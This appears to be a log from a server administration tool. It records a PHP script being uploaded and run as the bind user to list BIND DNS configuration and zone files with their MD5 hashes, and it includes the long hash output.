MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 58b6b8ae4641dbacd44268075f2a555a
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.conf)= 8f23314b26a5a62466b1935b4344b379
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.txt)= 7a6fd8c70b6f0cc9743ae2c949a5c79a
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-07-22 09:14:03: Establishing a connection
2026-07-22 09:14:09: Establishing a connection
2026-07-22 09:14:10: 

PUT: /tmp/pkp192670

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-07-22 09:14:10: 

runuser -l bind -s /bin/bash -c '/tmp/pkp192670; rm /tmp/pkp192670'

2026-07-22 09:14:10: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 8227830310fbff06ce05450e47b27977
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 58b6b8ae4641dbacd44268075f2a555a
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
